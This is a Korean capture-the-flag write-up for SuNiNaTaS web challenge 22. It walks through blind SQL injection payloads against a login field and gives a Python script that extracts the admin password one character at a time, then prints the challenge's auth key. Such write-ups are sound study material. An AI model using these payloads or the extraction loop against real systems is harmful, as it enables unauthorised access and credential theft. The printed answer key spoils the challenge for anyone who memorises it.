http://suninatas.com/challenge/web22/web22.asp
Game 22
select / Union / or / white space / by / having from / char / ascii / left / right / delay / 0x ..........
suninatas.com
[문제]
[풀이]
Blind Sql Injection 문제이다.
먼저 guest/guest로 로그인 해보았다.
정상적으로 로그인 된다.
admin 계정의 비밀번호를 알아내면 문제가 풀린다.
먼저 admin 계정이 있는지 확인하는 SQL 문을 짜준다.
admin' and 1=1--
id에 위 SQL을 넣으면
admin 계정이 있다는 것을 확인할 수 있다.
비밀번호를 알아내는 sql injection 공격을 해야한다.
guest로 sql문 예를 들겠다.
guest' and pw='guest'--
위처럼 입력하면 비밀번호가 guest인지 아닌지를 확인할 수 있다.
틀린 비밀번호를 적으면 False가 출력되는 것을 확인할 수 있다.
비밀번호의 자리마다 문자열을 하나씩 넣어서 맞는지 아닌지 확인하는 SQL을 짠다.
guest' and substring(pw,1,1)='g'--
이런 식으로 sql을 만들면
pw의 1번 째 자리에 g가 맞다면 OK guest가 뜰 것이다.
이제 위 내용을 바탕으로 자동화 프로그램을 만들어준다.
import requests
url = 'http://suninatas.com/challenge/web22/web22.asp?pw=1&'
password = ""
for i in range(10):
count = 127
while (count > 0):
parameter = "id=admin%27+and+substring(pw,{},1)='{}'--".format(i + 1, chr(count))
res = requests.get(url + parameter)
if "OK" in res.text:
password += chr(count)
print(chr(count))
break;
else:
count -= 1
print(password)
위 코드를 간략히 해석하자면
아스키코드 127번부터 0번까지 반복해서 pw의 1번 째 자리부터 10번 째 자리까지 대입한다.
대입했을 때 OK 문자열이 response 내용에 포함되어 있다면 대입한 문자를 출력한다.
실행하면 비밀번호를 알아낼 수 있다.
실제로 로그인해보면 admin 계정으로 로그인 된다.
[AUTHKEY]
N1c3Bilnl)